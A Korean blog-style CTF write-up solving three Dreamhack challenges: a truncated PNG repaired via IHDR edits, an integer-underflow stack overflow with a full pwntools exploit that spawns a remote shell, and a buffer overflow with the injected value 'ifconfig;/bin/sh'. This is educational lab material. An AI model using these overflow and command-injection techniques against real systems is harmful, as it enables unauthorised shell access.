CTF write up(1)

yxxun1216·2023년 3월 23일
0

Dreamhack


1. broken-png


문제 파일을 다운로드 받으면 image.png 파일이 하나 있는데 열어보니 아무것도 나오지 않았다. 이미지가 반으로 잘려 있다고 하니 HxD로 파일을 열어 헥사값을 변경하도록 한다.

IHDR chunk에서 파일의 높이와 넓이가 같은 정사각형으로 바꾸어 준다.

저장 후 파일을 열면 flag를 확인할 수 있다.

2. Sint


파일을 다운받아 보니 sint 파일과 sint.c 파일 두 가지가 존재했다.

먼저 sint 파일을 실행시켰다.

사이즈와 데이터를 입력받았는데 입력을 해도 변화가 없어서 sint.c 파일을 확인했다.

(마지막 return 코드는 사진 상으로 잘렸다.)

코드를 보면 get_shell 함수에서 쉘을 실행할 수 있으므로 이 함수를 실행시킨다.

main 함수의 if문을 보았더니 사이즈가 256보다 크거나 0보다 작으면 프로그램이 끝나는 것 같았다.

참조에 나온 integer issuses에 대해 살펴보니 사이즈에 0을 넣을 경우 read함수에서는 size-1을 매개변수로 받으므로 -1값을 입력받아 오버플로우가 가능해진다. 그러면 조건문에 걸리지 않을 수 있다.

get_shell 함수의 주소를 확인한 뒤에 size 출력부터 ret까지의 거리를 계산해서 payload를 전송하기 위해 어셈블리 코드를 살펴보았다.

스택에 ret - sfp(=ebp, stack frame pointer) - buf 순으로 쌓여 있으니 sub esp, 0x104를 보면 0x104바이트에 sfp의 크기인 4바이트를 더한 264바이트 이후 ret가 들어간다는 뜻이다.

그러면 ret에 get_shell 함수의 주소를 넣어 이를 실행시키면 된다.

최종적으로 이 모든 것을 실행할 수 있는 python 코드를 작성한다.

코드는 구글의 도움을 받아 작성하였다.

from pwn import *

#r=process('./basic_rop_x86')
r=remote("host3.dreamhack.games",24089)
e=ELF('./sint')
context.log_level='debug'

def main():   

    r.recvuntil("Size: ")
    r.sendline("0")
    r.recvuntil("Data: ")
    payload=b"a"*264
    payload += p32(e.symbols['get_shell'])
    r.send(payload)
    r.interactive()
 
if __name__ == '__main__':
    main()


실행시킨 후 플래그 파일을 cat 명령어로 실행하면 플래그를 확인할 수 있다.

3. cmd_center


문제 파일을 다운받으니 2번 문제와 같이 cmd_center 파일과 cmd_center.c 파일 두 가지가 있었다.

위와 똑같은 방식으로 먼저 cmd_center 파일을 실행했더니 아무것도 얻을 수 없었다.

cmd_center.c 파일을 확인했다.

main 함수의 if문을 보면 strcmp(cmd_ip, "ipconfig", 8)의 결과가 같으면 cmd_ip를 실행한다.

center_name의 입력값을 입력함으로 발생하는 버퍼오버플로우를 이용하면 cmp_ip에 접근할 수 있다.

center_name과 cmd_ip까지의 거리를 알고 버퍼오버플로우 시킨 후 조건문에 부합하기 위해 ipconfig를 입력해준다.

center_name과 cmd_ip의 거리를 알기 위해 어셈블리 코드를 살펴본다.

입력값을 받고 함수를 호출하는 부분을 살펴보면 각각 lea rax, < rbp-0x130 >과 lea rax, < rbp-0x110 >임을 알 수 있다. 주소값의 차이는 0x20이다.

cmd_ip는 ifconfig;/bin/sh로 ;를 이용하여 ifconfig 후에도 명령을 실행할 수 있도록 입력한다.

문제에서 주어진 접속 사이트에 nc 명령어로 접속하여 문제를 해결한다.

flag를 확인할 수 있다.

0개의 댓글